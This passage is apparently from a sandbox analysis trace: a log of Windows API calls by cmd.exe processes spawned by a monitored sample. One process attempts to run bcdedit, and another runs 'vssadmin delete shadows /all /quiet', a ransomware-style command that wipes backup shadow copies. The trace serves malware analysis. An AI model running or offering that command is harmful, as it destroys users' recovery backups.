_String2="MD") returned -11 [0058.369] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0058.369] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0058.369] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0058.369] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0058.369] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0058.369] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0058.369] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0058.369] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0058.369] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0058.369] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0058.369] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0058.369] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0058.369] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0058.369] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0058.369] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0058.369] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0058.369] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0058.369] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0058.369] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0058.369] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0058.369] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0058.369] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0058.369] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0058.369] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0058.369] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0058.369] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0058.369] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2 [0058.369] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3 [0058.370] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2 [0058.370] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18 [0058.370] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1 [0058.370] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1 [0058.370] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1 [0058.370] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16 [0058.370] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16 [0058.370] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3 [0058.370] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17 [0058.370] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14 [0058.370] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2 [0058.370] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18 [0058.370] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14 [0058.370] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11 [0058.370] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11 [0058.370] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16 [0058.370] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16 [0058.370] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14 [0058.370] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5 [0058.370] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17 [0058.370] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1 [0058.370] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1 [0058.370] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20 [0058.370] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20 [0058.370] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20 [0058.370] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3 [0058.370] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17 [0058.370] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3 [0058.370] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18 [0058.370] _wcsicmp (_String1="bcdedit", _String2="START") returned -17 [0058.370] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2 [0058.370] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9 [0058.370] _wcsicmp (_String1="bcdedit", _String2="MOVE") returned -11 [0058.370] _wcsicmp (_String1="bcdedit", _String2="PUSHD") returned -14 [0058.370] _wcsicmp (_String1="bcdedit", _String2="POPD") returned -14 [0058.370] _wcsicmp (_String1="bcdedit", _String2="ASSOC") returned 1 [0058.370] _wcsicmp (_String1="bcdedit", _String2="FTYPE") returned -4 [0058.371] _wcsicmp (_String1="bcdedit", _String2="BREAK") returned -15 [0058.371] _wcsicmp (_String1="bcdedit", _String2="COLOR") returned -1 [0058.371] _wcsicmp (_String1="bcdedit", _String2="MKLINK") returned -11 [0058.371] _wcsicmp (_String1="bcdedit", _String2="FOR") returned -4 [0058.371] _wcsicmp (_String1="bcdedit", _String2="IF") returned -7 [0058.371] _wcsicmp (_String1="bcdedit", _String2="REM") returned -16 [0058.371] GetProcessHeap () returned 0x2b0000 [0058.371] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x210) returned 0x2c3148 [0058.371] GetProcessHeap () returned 0x2b0000 [0058.371] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x7e) returned 0x2c3360 [0058.371] _wcsnicmp (_String1="bcde", _String2="cmd ", _MaxCount=0x4) returned -1 [0058.371] GetProcessHeap () returned 0x2b0000 [0058.371] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x418) returned 0x2b07f0 [0058.371] SetErrorMode (uMode=0x0) returned 0x0 [0058.371] SetErrorMode (uMode=0x1) returned 0x0 [0058.372] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x2b07f8, lpFilePart=0x14eda8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14eda8*="Desktop") returned 0x25 [0058.372] SetErrorMode (uMode=0x0) returned 0x1 [0058.372] GetProcessHeap () returned 0x2b0000 [0058.372] RtlReAllocateHeap (Heap=0x2b0000, Flags=0x0, Ptr=0x2b07f0, Size=0x64) returned 0x2b07f0 [0058.372] GetProcessHeap () returned 0x2b0000 [0058.372] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2b07f0) returned 0x64 [0058.372] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0058.372] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0058.372] GetProcessHeap () returned 0x2b0000 [0058.372] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x120) returned 0x2c33e8 [0058.372] GetProcessHeap () returned 0x2b0000 [0058.372] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0x238) returned 0x2b0860 [0058.379] GetProcessHeap () returned 0x2b0000 [0058.379] RtlReAllocateHeap (Heap=0x2b0000, Flags=0x0, Ptr=0x2b0860, Size=0x122) returned 0x2b0860 [0058.379] GetProcessHeap () returned 0x2b0000 [0058.379] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2b0860) returned 0x122 [0058.379] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0058.379] GetProcessHeap () returned 0x2b0000 [0058.379] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x8, Size=0xe0) returned 0x2c3510 [0058.380] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x14eb24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb24) returned 0xffffffff [0058.380] GetLastError () returned 0x2 [0058.380] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x14eb24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb24) returned 0xffffffff [0058.380] GetLastError () returned 0x2 [0058.380] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x14eb24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb24) returned 0xffffffff [0058.380] GetLastError () returned 0x2 [0058.381] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x14eb24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb24) returned 0xffffffff [0058.381] GetLastError () returned 0x2 [0058.381] FindFirstFileExW (in: lpFileName="C:\\Windows\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x14eb24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb24) returned 0xffffffff [0058.381] GetLastError () returned 0x2 [0058.381] FindFirstFileExW (in: lpFileName="C:\\Windows\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x14eb24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb24) returned 0xffffffff [0058.381] GetLastError () returned 0x2 [0058.381] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x14eb24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb24) returned 0xffffffff [0058.381] GetLastError () returned 0x2 [0058.381] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\Wbem\\bcdedit", fInfoLevelId=0x1, lpFindFileData=0x14eb24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb24) returned 0xffffffff [0058.382] GetLastError () returned 0x2 [0058.382] FindFirstFileExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\bcdedit.*", fInfoLevelId=0x1, lpFindFileData=0x14eb24, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb24) returned 0xffffffff [0058.881] GetLastError () returned 0x2 [0058.883] _get_osfhandle (_FileHandle=2) returned 0xb [0058.883] GetFileType (hFile=0xb) returned 0x2 [0058.883] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0058.883] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x14ef78 | out: lpMode=0x14ef78) returned 1 [0058.884] _get_osfhandle (_FileHandle=2) returned 0xb [0058.884] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xb, lpConsoleScreenBufferInfo=0x14efac | out: lpConsoleScreenBufferInfo=0x14efac) returned 1 [0058.884] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x4a874640, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0058.884] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x4a874640*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x14efd0, lpReserved=0x0 | out: lpBuffer=0x4a874640*, lpNumberOfCharsWritten=0x14efd0*=0x62) returned 1 [0058.885] _get_osfhandle (_FileHandle=1) returned 0x7 [0058.885] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0058.885] _get_osfhandle (_FileHandle=1) returned 0x7 [0058.885] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a8641ac | out: lpMode=0x4a8641ac) returned 1 [0058.885] _get_osfhandle (_FileHandle=0) returned 0x3 [0058.885] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a8641b0 | out: lpMode=0x4a8641b0) returned 1 [0058.886] SetConsoleInputExeNameW () returned 0x1 [0058.886] GetConsoleOutputCP () returned 0x1b5 [0058.886] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0058.886] SetThreadUILanguage (LangId=0x0) returned 0x409 [0058.886] exit (_Code=1) Process: id = "47" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x25366000" os_pid = "0xd38" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x55c" cmd_line = "cmd.exe /c vssadmin delete shadows /all /quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 71 os_tid = 0xd3c [0058.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x32f79c | out: lpSystemTimeAsFileTime=0x32f79c*(dwLowDateTime=0xb16cd2a0, dwHighDateTime=0x1d5e09d)) [0058.037] GetCurrentProcessId () returned 0xd38 [0058.037] GetCurrentThreadId () returned 0xd3c [0058.037] GetTickCount () returned 0x1158a94 [0058.037] QueryPerformanceCounter (in: lpPerformanceCount=0x32f794 | out: lpPerformanceCount=0x32f794*=19990791201) returned 1 [0058.038] GetModuleHandleA (lpModuleName=0x0) returned 0x4a840000 [0058.038] __set_app_type (_Type=0x1) [0058.038] __p__fmode () returned 0x76be31f4 [0058.038] __p__commode () returned 0x76be31fc [0058.038] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a8621a6) returned 0x0 [0058.038] __getmainargs (in: _Argc=0x4a864238, _Argv=0x4a864240, _Env=0x4a86423c, _DoWildCard=0, _StartInfo=0x4a864140 | out: _Argc=0x4a864238, _Argv=0x4a864240, _Env=0x4a86423c) returned 0 [0058.038] GetCurrentThreadId () returned 0xd3c [0058.038] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xd3c) returned 0x60 [0058.039] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e10000 [0058.039] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadUILanguage") returned 0x76e3a84f [0058.039] SetThreadUILanguage (LangId=0x0) returned 0x409 [0058.039] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0058.039] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x32f72c | out: phkResult=0x32f72c*=0x0) returned 0x2 [0058.040] VirtualQuery (in: lpAddress=0x32f763, lpBuffer=0x32f6fc, dwLength=0x1c | out: lpBuffer=0x32f6fc*(BaseAddress=0x32f000, AllocationBase=0x230000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.040] VirtualQuery (in: lpAddress=0x230000, lpBuffer=0x32f6fc, dwLength=0x1c | out: lpBuffer=0x32f6fc*(BaseAddress=0x230000, AllocationBase=0x230000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0058.040] VirtualQuery (in: lpAddress=0x231000, lpBuffer=0x32f6fc, dwLength=0x1c | out: lpBuffer=0x32f6fc*(BaseAddress=0x231000, AllocationBase=0x230000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0058.040] VirtualQuery (in: lpAddress=0x233000, lpBuffer=0x32f6fc, dwLength=0x1c | out: lpBuffer=0x32f6fc*(BaseAddress=0x233000, AllocationBase=0x230000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0058.040] VirtualQuery (in: lpAddress=0x330000, lpBuffer=0x32f6fc, dwLength=0x1c | out: lpBuffer=0x32f6fc*(BaseAddress=0x330000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x60000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0058.040] GetConsoleOutputCP () returned 0x1b5 [0058.040] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a864260 | out: lpCPInfo=0x4a864260) returned 1 [0058.040] SetConsoleCtrlHandler (HandlerRoutine=0x4a85e72a, Add=1) returned 1 [0058.040] _get_osfhandle (_FileHandle=1) returned 0x7 [0058.040] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0058.040] _get_osfhandle (_FileHandle=1) returned 0x7 [0058.040] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a8641ac | out: lpMode=0x4a8641ac) returned 1 [0058.041] _get_osfhandle (_FileHandle=1) returned 0x7 [0058.041] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0058.041] _get_osfhandle (_FileHandle=0) returned 0x3 [0058.041] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a8641b0 | out: lpMode=0x4a8641b0) returned 1 [0058.041] _get_osfhandle (_FileHandle=0) returned 0x3 [0058.041] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0058.041] GetEnvironmentStringsW () returned 0x402018* [0058.041] GetProcessHeap () returned 0x3f0000 [0058.041] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xaca) returned 0x402af0 [0058.042] FreeEnvironmentStringsW (penv=0x402018) returned 1 [0058.042] GetProcessHeap () returned 0x3f0000 [0058.042] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4) returned 0x400c50 [0058.042] GetEnvironmentStringsW () returned 0x402018* [0058.042] GetProcessHeap () returned 0x3f0000 [0058.042] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xaca) returned 0x4035c8 [0058.042] FreeEnvironmentStringsW (penv=0x402018) returned 1 [0058.042] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x32e69c | out: phkResult=0x32e69c*=0x68) returned 0x0 [0058.042] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x32e6a4, lpData=0x32e6a8, lpcbData=0x32e6a0*=0x1000 | out: lpType=0x32e6a4*=0x0, lpData=0x32e6a8*=0x0, lpcbData=0x32e6a0*=0x1000) returned 0x2 [0058.042] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x32e6a4, lpData=0x32e6a8, lpcbData=0x32e6a0*=0x1000 | out: lpType=0x32e6a4*=0x4, lpData=0x32e6a8*=0x1, lpcbData=0x32e6a0*=0x4) returned 0x0 [0058.042] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x32e6a4, lpData=0x32e6a8, lpcbData=0x32e6a0*=0x1000 | out: lpType=0x32e6a4*=0x0, lpData=0x32e6a8*=0x1, lpcbData=0x32e6a0*=0x1000) returned 0x2 [0058.042] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x32e6a4, lpData=0x32e6a8, lpcbData=0x32e6a0*=0x1000 | out: lpType=0x32e6a4*=0x4, lpData=0x32e6a8*=0x0, lpcbData=0x32e6a0*=0x4) returned 0x0 [0058.042] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x32e6a4, lpData=0x32e6a8, lpcbData=0x32e6a0*=0x1000 | out: lpType=0x32e6a4*=0x4, lpData=0x32e6a8*=0x40, lpcbData=0x32e6a0*=0x4) returned 0x0 [0058.042] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x32e6a4, lpData=0x32e6a8, lpcbData=0x32e6a0*=0x1000 | out: lpType=0x32e6a4*=0x4, lpData=0x32e6a8*=0x40, lpcbData=0x32e6a0*=0x4) returned 0x0 [0058.042] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x32e6a4, lpData=0x32e6a8, lpcbData=0x32e6a0*=0x1000 | out: lpType=0x32e6a4*=0x0, lpData=0x32e6a8*=0x40, lpcbData=0x32e6a0*=0x1000) returned 0x2 [0058.042] RegCloseKey (hKey=0x68) returned 0x0 [0058.042] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x32e69c | out: phkResult=0x32e69c*=0x68) returned 0x0 [0058.043] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x32e6a4, lpData=0x32e6a8, lpcbData=0x32e6a0*=0x1000 | out: lpType=0x32e6a4*=0x0, lpData=0x32e6a8*=0x40, lpcbData=0x32e6a0*=0x1000) returned 0x2 [0058.043] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x32e6a4, lpData=0x32e6a8, lpcbData=0x32e6a0*=0x1000 | out: lpType=0x32e6a4*=0x4, lpData=0x32e6a8*=0x1, lpcbData=0x32e6a0*=0x4) returned 0x0 [0058.043] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x32e6a4, lpData=0x32e6a8, lpcbData=0x32e6a0*=0x1000 | out: lpType=0x32e6a4*=0x0, lpData=0x32e6a8*=0x1, lpcbData=0x32e6a0*=0x1000) returned 0x2 [0058.043] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x32e6a4, lpData=0x32e6a8, lpcbData=0x32e6a0*=0x1000 | out: lpType=0x32e6a4*=0x4, lpData=0x32e6a8*=0x0, lpcbData=0x32e6a0*=0x4) returned 0x0 [0058.043] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x32e6a4, lpData=0x32e6a8, lpcbData=0x32e6a0*=0x1000 | out: lpType=0x32e6a4*=0x4, lpData=0x32e6a8*=0x9, lpcbData=0x32e6a0*=0x4) returned 0x0 [0058.043] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x32e6a4, lpData=0x32e6a8, lpcbData=0x32e6a0*=0x1000 | out: lpType=0x32e6a4*=0x4, lpData=0x32e6a8*=0x9, lpcbData=0x32e6a0*=0x4) returned 0x0 [0058.043] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x32e6a4, lpData=0x32e6a8, lpcbData=0x32e6a0*=0x1000 | out: lpType=0x32e6a4*=0x0, lpData=0x32e6a8*=0x9, lpcbData=0x32e6a0*=0x1000) returned 0x2 [0058.043] RegCloseKey (hKey=0x68) returned 0x0 [0058.043] time (in: timer=0x0 | out: timer=0x0) returned 0x5e423e2c [0058.043] srand (_Seed=0x5e423e2c) [0058.043] GetCommandLineW () returned="cmd.exe /c vssadmin delete shadows /all /quiet" [0058.043] GetCommandLineW () returned="cmd.exe /c vssadmin delete shadows /all /quiet" [0058.043] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a865260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0058.043] GetProcessHeap () returned 0x3f0000 [0058.043] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x210) returned 0x402018 [0058.043] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x402020, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0058.044] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0058.044] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0058.044] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0058.044] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0058.044] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0058.044] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0058.044] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0058.044] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0058.044] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0058.044] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0058.044] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0058.044] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0058.044] GetProcessHeap () returned 0x3f0000 [0058.044] HeapFree (in: hHeap=0x3f0000, dwFlags=0x0, lpMem=0x402af0 | out: hHeap=0x3f0000) returned 1 [0058.044] GetEnvironmentStringsW () returned 0x402230* [0058.044] GetProcessHeap () returned 0x3f0000 [0058.044] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xae2) returned 0x404b90 [0058.044] FreeEnvironmentStringsW (penv=0x402230) returned 1 [0058.044] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0058.044] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a870640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0058.044] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0058.044] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0058.044] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0058.044] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0058.044] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0058.045] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0058.045] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0058.045] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0058.045] GetProcessHeap () returned 0x3f0000 [0058.045] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x54) returned 0x405680 [0058.045] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x32f468 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0058.045] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x32f468, lpFilePart=0x32f464 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x32f464*="Desktop") returned 0x25 [0058.045] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0058.045] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x32f1e4 | out: lpFindFileData=0x32f1e4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x401e98 [0058.045] FindClose (in: hFindFile=0x401e98 | out: hFindFile=0x401e98) returned 1 [0058.045] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x32f1e4 | out: lpFindFileData=0x32f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, 